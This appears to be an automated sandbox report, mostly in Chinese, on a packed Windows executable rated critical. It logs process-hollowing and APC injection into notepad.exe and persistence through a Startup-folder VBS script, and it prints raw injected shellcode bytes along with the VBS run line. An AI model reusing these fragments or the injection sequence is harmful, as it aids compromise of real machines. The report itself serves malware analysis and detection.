8.8
极危
该样本未表现出任何异常！
重新分析
更多

8a7fda03853530c6a6c414d95c01f3957d56878a600444a97da54ea70dffbc3c

3f39b1a4d06c89d92d851c0388e59ec1.exe

分析耗时

71s

最近分析

文件大小

994.5KB
静态报毒 动态报毒
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
未检测 暂无反病毒引擎检测结果
静态指标
The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 个事件)
section CODE
section DATA
section BSS
The executable uses a known packer (1 个事件)
packer BobSoft Mini Delphi -> BoB / BobSoft
One or more processes crashed (1 个事件)
Time & API Arguments Status Return Repeated
1619396426.3005
__exception__
stacktrace: 
CreateFileMappingW+0xe5 OpenFileMappingW-0x29 kernelbase+0xdc73 @ 0x778edc73
GetFileVersion+0xa7 ND_RI2-0x2eb mscoreei+0xe97b @ 0x73a4e97b
GetFileVersion+0x1bb ND_RI2-0x1d7 mscoreei+0xea8f @ 0x73a4ea8f
RegisterShimImplCallback+0x48e5 CLRCreateInstance-0x13e6 mscoreei+0xb25a @ 0x73a4b25a
RegisterShimImplCallback+0x4b52 CLRCreateInstance-0x1179 mscoreei+0xb4c7 @ 0x73a4b4c7
RegisterShimImplCallback+0x4300 CLRCreateInstance-0x19cb mscoreei+0xac75 @ 0x73a4ac75
RegisterShimImplCallback+0x4561 CLRCreateInstance-0x176a mscoreei+0xaed6 @ 0x73a4aed6
CreateConfigStream+0xc89 _CorExeMain-0x62 mscoreei+0x5511 @ 0x73a45511
_CorExeMain+0x2b _CorExeMain2-0x141 mscoreei+0x559e @ 0x73a4559e
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74107f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74104de3
3f39b1a4d06c89d92d851c0388e59ec1+0x58a4d @ 0x458a4d
3f39b1a4d06c89d92d851c0388e59ec1+0x51254 @ 0x451254
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x763533ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 1634372
registers.edi: 2
registers.eax: 1
registers.ebp: 1634412
registers.edx: 228
registers.ebx: 983045
registers.esi: 1634532
registers.ecx: 228
exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0xfcb414ad
success 0 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
Allocates read-write-execute memory (usually to unpack itself) (30 个事件)
Time & API Arguments Status Return Repeated
1619396416.254
NtAllocateVirtualMemory
process_identifier: 2448
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x005d0000
success 0 0
1619396417.863
NtAllocateVirtualMemory
process_identifier: 2448
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01f00000
success 0 0
1619396417.863
NtAllocateVirtualMemory
process_identifier: 2448
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x03280000
success 0 0
1619396422.8315
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00400000
success 0 0
1619396423.0975
NtAllocateVirtualMemory
process_identifier: 920
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x01d90000
success 0 0
1619396423.0975
NtAllocateVirtualMemory
process_identifier: 920
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x01ec0000
success 0 0
1619396423.0975
NtAllocateVirtualMemory
process_identifier: 920
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x01d90000
success 0 0
1619396423.1125
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 299008
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x01d92000
success 0 0
1619396425.0505
NtAllocateVirtualMemory
process_identifier: 920
region_size: 2162688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x02070000
success 0 0
1619396425.0505
NtAllocateVirtualMemory
process_identifier: 920
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02240000
success 0 0
1619396426.2845
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.2845
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619396426.2845
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.2845
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619396426.2845
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77d4f000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76353000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76354000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00322000
success 0 0
1619396426.3005
NtProtectVirtualMemory
process_identifier: 920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76351000
success 0 0
Creates executable files on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.451190111831246 section {'size_of_data': '0x00044800', 'virtual_address': '0x000ba000', 'entropy': 7.451190111831246, 'name': '.rsrc', 'virtual_size': '0x00044744'} description A section with a high entropy has been found
entropy 0.2757926522395571 description Overall entropy of this PE file is high
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Allocates execute permission to another process indicative of possible code injection (1 个事件)
Time & API Arguments Status Return Repeated
1619396421.285
NtAllocateVirtualMemory
process_identifier: 2516
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000104
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000f0000
success 0 0
Installs itself for autorun at Windows startup (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs
Creates a thread using NtQueueApcThread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 2448 created a thread in remote process 2516
Time & API Arguments Status Return Repeated
1619396421.285
NtQueueApcThread
thread_handle: 0x00000100
process_identifier: 2516
function_address: 0x000f05c0
parameter: 0x00100000
success 0 0
Potential code injection by writing to the memory of another process (2 个事件)
Time & API Arguments Status Return Repeated
1619396421.285
WriteProcessMemory
process_identifier: 2516
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x00000104
base_address: 0x000f0000
success 1 0
1619396421.285
WriteProcessMemory
process_identifier: 2516
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\3f39b1a4d06c89d92d851c0388e59ec1.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\3f39b1a4d06c89d92d851c0388e59ec1.exe" appSeT BZljJZPbvPqEaUP = cReateObJect("wScrIPT.shELl") bZljjzPBVPqeaup.rUN """%ls""", 0, False
process_handle: 0x00000104
base_address: 0x00100000
success 1 0
Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)
Process injection Process 2448 called NtSetContextThread to modify thread in remote process 920
Time & API Arguments Status Return Repeated
1619396421.332
NtSetContextThread
thread_handle: 0x0000010c
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4893984
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 920
success 0 0
Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)
Process injection Process 2448 resumed a thread in remote process 920
Time & API Arguments Status Return Repeated
1619396422.66
NtResumeThread
thread_handle: 0x0000010c
suspend_count: 1
process_identifier: 920
success 0 0
Executed a process and injected code into it, probably while unpacking (11 个事件)
Time & API Arguments Status Return Repeated
1619396421.285
CreateProcessInternalW
thread_identifier: 2840
thread_handle: 0x00000100
process_identifier: 2516
current_directory:
filepath: C:\Windows\System32\notepad.exe
track: 1
command_line:
filepath_r: C:\Windows\system32\notepad.exe
stack_pivoted: 0
creation_flags: 32 (NORMAL_PRIORITY_CLASS)
process_handle: 0x00000104
inherit_handles: 0
success 1 0
1619396421.285
NtAllocateVirtualMemory
process_identifier: 2516
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0x00000104
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x000f0000
success 0 0
1619396421.285
NtAllocateVirtualMemory
process_identifier: 2516
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 4 (PAGE_READWRITE)
process_handle: 0x00000104
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
base_address: 0x00100000
success 0 0
1619396421.285
WriteProcessMemory
process_identifier: 2516
buffer: Q¹0d‹‹@ ‹@ ‹‹‹@‰$‹$YÃVWR¾§ÆgNè„Yƒøv· ¿Zwf;Ït ¿Ntf;ÏuƒÂƒè…Àt‹ÎÁá‹þÁïϾ:Ï3ñBHué_‹Æ^ÃU‹ìQQ‹MSVW…Ét;¸MZf9u1‹A<Át*8PEu"‹@xƒeüÁ‹x‹X$‹p ‹@ùÙñ‰Eø…Àu 3À_^[ÉËM‹Eü‹†ÑèOÿÿÿ;E t ÿEü‹Eü;Eøràë׋Eü·C‹‡EëÊU‹ìQSW3ÿWWjWjh@ÿuÿV‹Øƒûÿu3Àë&WWWS‰}üÿV0W‹}EüPWÿu SÿV SÿV3À9}ü”À_[ÉÅÉtè•…Àt3Éf‰ÃU‹ììV‹ð…äüÿÿP3ÀPPjPÿVl…À…Žj\Xf‰Eü3Àj.f‰EþXjvf‰EðXf‰EòjbXf‰EôjsXf‰Eö3Àf‰EøUü…äüÿÿèÖ‹U è΍UðèÆÿu…ìþÿÿÿuPÿVxƒÄ …äüÿÿPÿV…ìþÿÿPèÂ@P…ìþÿÿP…äüÿÿPèîþÿÿƒÄ^ÉÃU‹ìì,j:XjZf‰EÜXjof‰EÞXjnf‰EàXjef‰EâXjIf‰EäXjdf‰EæXjef‰EèXjnf‰EêXjtf‰EìXjif‰EîXjff‰EðXjif‰EòXf‰EôjeXf‰EöjrXf‰Eø3Àf‰Eú…Ôýÿÿ謍UÜè÷EÿPÆEÿèPEÿP…ÔýÿÿPè?þÿÿƒÄÉÃU‹ìQƒeüV‹ðEüPÿuèþYY…Àtƒ}ütÿuüPÿu è þÿÿƒÄ …Àt3À@ë3À^ÉÃU‹ììSV‹ð‹Ï…øýÿÿè'‹Èè(þÿÿ3ÛS…øýÿÿPÿVWÿV8] uWÿu‹Æè~ÿÿÿYY‹Øë €} u5SWÿuÿWÿV(3ۃøÿ‹Ï•Ãèªþÿÿƒûu9]u WÿV(ƒÈPWÿV,3À@ë3À^[ÉÃU‹ìƒìSVWèsüÿÿ‹ø…ÿ„"h"¿ŠWèÌüÿÿ‹ØYY…Û„ jh0h„jÿӋð…ö„ñh¼Û«½W‰~`‰^@è•üÿÿhÒ¼‰W‰F$è‡üÿÿh|QgjW‰F(èyüÿÿhëI”W‰F,èküÿÿh•å©—W‰F0è]üÿÿh¥°(W‰F4èOüÿÿh)·W‰F8èAüÿÿh[uŠðW‰FDè3üÿÿƒÄ@‹Øhd†óuW‰^ è üÿÿh¢¦aëW‰F èüÿÿhÕOd"W‰Fèüÿÿhy.ÔW‰Fèöûÿÿh±÷W‰FèèûÿÿheóW÷W‰FèÚûÿÿh¯4P“W‰FèÌûÿÿh{=#W‰F<è¾ûÿÿƒÄ@hOû~ W‰Fè­ûÿÿhà=!6W‰FHèŸûÿÿhh‰#W‰è’ûÿÿ‰FLhÍeWè„ûÿÿhÓ1ÆVW‰FPèvûÿÿh7œ½W‰FTèhûÿÿh£-ãW‰FXèZûÿÿ‰F\ƒÄ8EðPÇEðshelÇEôl32ÿӋø…ÿt"hÀåz°W‰~dè,ûÿÿhêêºW‰FlèûÿÿƒÄ‰FpEøPÇEøuserfÇEü32ÆEþÿV ‹ø…ÿtAhqV°0W‰~hèìúÿÿhkV°0W‰FxèÞúÿÿh&cj—W‰FtèÐúÿÿh<cj—W‰F|èÂúÿÿƒÄ ‰†€‹Æë3À_^[ÉÃU‹ìƒì\V‹uW3ÿ;÷„îSè¤ýÿÿ‹Ø;ßu WÿDéՍ†‰EüPëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPF‰Eø‰E9>tYÿ¶¶ŽQP¾ ‹Ãè¾üÿÿ‰}3ÿƒÄ 9>t1jDE¤WPèjEèWPèüƒÄEèPE¤PWWj WWWWÿuÿS$9¾(t†lP†,Pÿu‹Ãè½úÿÿƒÄ 9¾tëj2ÿSPÿuüWWÿSL…ÀuïjdÿSPÿuøÿSWÿSD[_3À^ÉÂU‹ìƒì SW3ÿWWjWjh€ÿu‰}øÿV‹Øƒûÿu3Àë>WSÿV‰Eô;Çt+jh0PWÿV@‰Eø;ÇtWMüQÿuô‰}üPSÿV‹Eü‹M ‰SÿV‹Eø_[É÷f‰f…ÒtV‹ð+ñƒÁ·f‰f…Òuñ^ÃU‹ìQQ‹E‰Eü‹EüE‰Eø‹Eü;Eøt‹EüŠM ˆ‹Eü@‰Eüëç‹EÉÃfƒ8V‹ðt ƒÆfƒ>u÷+ò· f‰ ƒÂf…Éuñ^ËD$Š@„Éuù+D$HÅÉu3ÀÃfƒ9‹Át ƒÀfƒ8u÷+ÁÑøÅÉt èÚÿÿÿ…ÀtDAþë fƒù\t ƒè·f…Éuï3ÀÃ
process_handle: 0x00000104
base_address: 0x000f0000
success 1 0
1619396421.285
WriteProcessMemory
process_identifier: 2516
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\3f39b1a4d06c89d92d851c0388e59ec1.exe"C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\3f39b1a4d06c89d92d851c0388e59ec1.exe" appSeT BZljJZPbvPqEaUP = cReateObJect("wScrIPT.shELl") bZljjzPBVPqeaup.rUN """%ls""", 0, False
process_handle: 0x00000104
base_address: 0x00100000
success 1 0
1619396421.316
CreateProcessInternalW
thread_identifier: 1208
thread_handle: 0x0000010c
process_identifier: 920
current_directory:
filepath:
track: 1
command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\3f39b1a4d06c89d92d851c0388e59ec1.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
process_handle: 0x00000108
inherit_handles: 0
success 1 0
1619396421.316
NtUnmapViewOfSection
process_identifier: 920
region_size: 4096
process_handle: 0x00000108
base_address: 0x00400000
success 0 0
1619396421.316
NtMapViewOfSection
section_handle: 0x00000114
process_identifier: 920
commit_size: 704512
win32_protect: 64 (PAGE_EXECUTE_READWRITE)
buffer:
process_handle: 0x00000108
allocation_type: 0 ()
section_offset: 0
view_size: 704512
base_address: 0x00400000
success 0 0
1619396421.332
NtGetContextThread
thread_handle: 0x0000010c
success 0 0
1619396421.332
NtSetContextThread
thread_handle: 0x0000010c
registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4893984
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 920
success 0 0
1619396422.66
NtResumeThread
thread_handle: 0x0000010c
suspend_count: 1
process_identifier: 920
success 0 0
Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)
dead_host 172.217.24.14:443
dead_host 172.217.160.110:443
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:
• 0x4a8164 VirtualFree
• 0x4a8168 VirtualAlloc
• 0x4a816c LocalFree
• 0x4a8170 LocalAlloc
• 0x4a8174 GetVersion
• 0x4a8178 GetCurrentThreadId
• 0x4a8184 VirtualQuery
• 0x4a8188 WideCharToMultiByte
• 0x4a818c MultiByteToWideChar
• 0x4a8190 lstrlenA
• 0x4a8194 lstrcpynA
• 0x4a8198 LoadLibraryExA
• 0x4a819c GetThreadLocale
• 0x4a81a0 GetStartupInfoA
• 0x4a81a4 GetProcAddress
• 0x4a81a8 GetModuleHandleA
• 0x4a81ac GetModuleFileNameA
• 0x4a81b0 GetLocaleInfoA
• 0x4a81b4 GetCommandLineA
• 0x4a81b8 FreeLibrary
• 0x4a81bc FindFirstFileA
• 0x4a81c0 FindClose
• 0x4a81c4 ExitProcess
• 0x4a81c8 WriteFile
• 0x4a81d0 RtlUnwind
• 0x4a81d4 RaiseException
• 0x4a81d8 GetStdHandle
Library user32.dll:
• 0x4a81e0 GetKeyboardType
• 0x4a81e4 LoadStringA
• 0x4a81e8 MessageBoxA
• 0x4a81ec CharNextA
Library advapi32.dll:
• 0x4a81f4 RegQueryValueExA
• 0x4a81f8 RegOpenKeyExA
• 0x4a81fc RegCloseKey
Library oleaut32.dll:
• 0x4a8204 SysFreeString
• 0x4a8208 SysReAllocStringLen
• 0x4a820c SysAllocStringLen
Library kernel32.dll:
• 0x4a8214 TlsSetValue
• 0x4a8218 TlsGetValue
• 0x4a821c LocalAlloc
• 0x4a8220 GetModuleHandleA
Library advapi32.dll:
• 0x4a8228 RegQueryValueExA
• 0x4a822c RegOpenKeyExA
• 0x4a8230 RegCloseKey
Library kernel32.dll:
• 0x4a8238 lstrcpyA
• 0x4a823c WriteFile
• 0x4a8244 WaitForSingleObject
• 0x4a8248 VirtualQuery
• 0x4a824c VirtualAlloc
• 0x4a8250 Sleep
• 0x4a8254 SizeofResource
• 0x4a8258 SetThreadLocale
• 0x4a825c SetFilePointer
• 0x4a8260 SetEvent
• 0x4a8264 SetErrorMode
• 0x4a8268 SetEndOfFile
• 0x4a826c SearchPathA
• 0x4a8270 ResetEvent
• 0x4a8274 ReleaseMutex
• 0x4a8278 ReadFile
• 0x4a827c OpenFileMappingA
• 0x4a8280 MultiByteToWideChar
• 0x4a8284 MulDiv
• 0x4a8288 LockResource
• 0x4a828c LoadResource
• 0x4a8290 LoadLibraryA
• 0x4a8298 IsDBCSLeadByte
• 0x4a82a0 GlobalUnlock
• 0x4a82a4 GlobalReAlloc
• 0x4a82a8 GlobalHandle
• 0x4a82ac GlobalLock
• 0x4a82b0 GlobalFree
• 0x4a82b4 GlobalFindAtomA
• 0x4a82b8 GlobalDeleteAtom
• 0x4a82bc GlobalAlloc
• 0x4a82c0 GlobalAddAtomA
• 0x4a82c4 GetVersionExA
• 0x4a82c8 GetVersion
• 0x4a82cc GetTickCount
• 0x4a82d0 GetThreadLocale
• 0x4a82d4 GetTempPathA
• 0x4a82dc GetSystemTime
• 0x4a82e0 GetSystemInfo
• 0x4a82e4 GetStringTypeExA
• 0x4a82e8 GetStdHandle
• 0x4a82ec GetProcAddress
• 0x4a82f0 GetModuleHandleA
